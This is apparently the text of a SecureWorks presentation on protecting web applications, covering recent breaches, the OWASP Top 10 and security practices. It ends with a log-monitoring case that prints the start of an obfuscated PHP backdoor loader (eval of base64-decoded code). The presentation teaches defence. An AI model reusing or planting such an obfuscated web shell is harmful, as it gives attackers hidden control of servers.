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How To Keep your Web Applications Safe from Cyber Attacks

Web Application Security
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� Why Are Web Applications So Vulnerable?
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� Questions and Answers
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Introduction

SecureWorks focuses exclusively on security 
services to protect more than 2,700 clients around 
the world.

Three areas of expertise: managed security 
services, threat intelligence and security and risk 
consulting.
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Introduction

Randy Janinda

Senior Application Security Consultant
� Background in application and systems development
� Designed intrusion prevention systems
� Malware research 
� Application Security Assessments
� Pen Tests
� Social Engineering
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Current Web Security Issues

� Microsoft Internet Explorer 
� Previously unknown vulnerability
� Used to hack Google

� SSL renegotiation
� Research announced in November 2009
� Acknowledged, but dismissed as theoretical
� 1 week later, used to steal Twitter credentials

(http://www.theregister.co.uk/2009/11/14/ssl_renegotiation_bug_exploited/)

� SQL Injection
� Heartland Payment System, others – 130 million credit cards
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Why Are Web Applications So Vulnerable?

� Business demands
� Website is required for business
� Focus is availability and access, not security
� Speed of the web = new features now!

� Technical Complexity
� Design, architecture, applications, databases, systems, access 

control, version control, etc
� Simple changes can alter security policy

� Opening new doors
� New forms and functionality add new windows for attackers
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Protecting Your Applications

� What is a web application?
� Operating system 
� Database
� Web server
� Programming

• Backend (ASP, PHP, C, Java
• User Interface (HTML, Javascript, etc)

� Every layer is a possible target!
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Protecting Your Applications

� OWASP - http://www.owasp.org
� Most common vulnerabilites = OWASP Top 10

� Cross Site Scripting
� Injection Flaws (SQL, LDAP, commands, etc)
� Malicious File Execution
� Insecure Direct Object Reference
� Cross Site Request Forgery
� Information Leakage/Improper Error Handling
� Broken Authentication and Session Management
� Insecure Cryptographic Storage
� Insecure Communications
� Failure to Restrict URL Access
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Protecting Your Applications

Sometimes, it's the users

'Trivial' Passwords Enabled Huge Hack
(http://www.pcworld.com/article/187538/trivial_passwords_enabled_huge_hack.html)

� 33 million passwords stolen and published 

� Most popular password: '123456' 
� Used by 290,731 accounts
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Protecting Your Applications

And sometimes, it's a bad design
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Protecting Your Applications

Establish a culture of security

� Education and Training
� Security awareness
� Secure coding practices

� Process review and improvement
� Software development lifecycle
� Change management

� Application Testing
� Scanners are nice, but..

� Monitoring
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Protecting Your Applications

Let's Attack An Application!

A real-world example
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Protecting Your Applications



The Information Security Experts
Copyright © 2008 SecureWorks, Inc. All rights reserved.

Protecting Your Applications
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Protecting Your Applications

How do you know if you've been attacked?

Another real-world example
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Protecting Your Applications

Log monitoring

Noticed several requests to a file name 'sex.php'

Sample of 'sex.php'
<?php
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=89936;eval((base64_decode('JE8wMDB
PME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME
8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY
29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ1NnZHRRcW51NTgySk00T3M3eWVtK1RGVmx
wakxpazZmY1VIQklaMFBoMUdYQ3h2YUV6S1lvRHI5LzNBd05XYlI9JywnQUJDREVGR0hJSktMTU5PUFFS
U1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wM
E8wME8wKTs=')));return;

(actual code goes on like this for about 21 pages)

• PHP script reads itself, skips, reads, decodes
• About 4 levels of decoding
• Result: Backdoor Administration Tool
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Questions?

Contact SecureWorks:

info@secureworks.com


